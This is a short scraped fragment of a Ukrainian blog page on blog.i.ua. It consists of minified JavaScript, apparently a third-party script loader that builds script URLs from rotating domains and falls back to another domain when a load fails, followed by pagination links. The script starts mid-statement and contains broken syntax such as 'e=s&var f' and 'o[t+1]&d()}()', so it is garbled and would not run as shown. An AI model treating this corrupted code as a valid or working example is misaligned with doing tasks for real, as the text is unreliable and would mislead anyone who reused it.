e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();
Сторінки:
1
2
3
5
попередня
наступна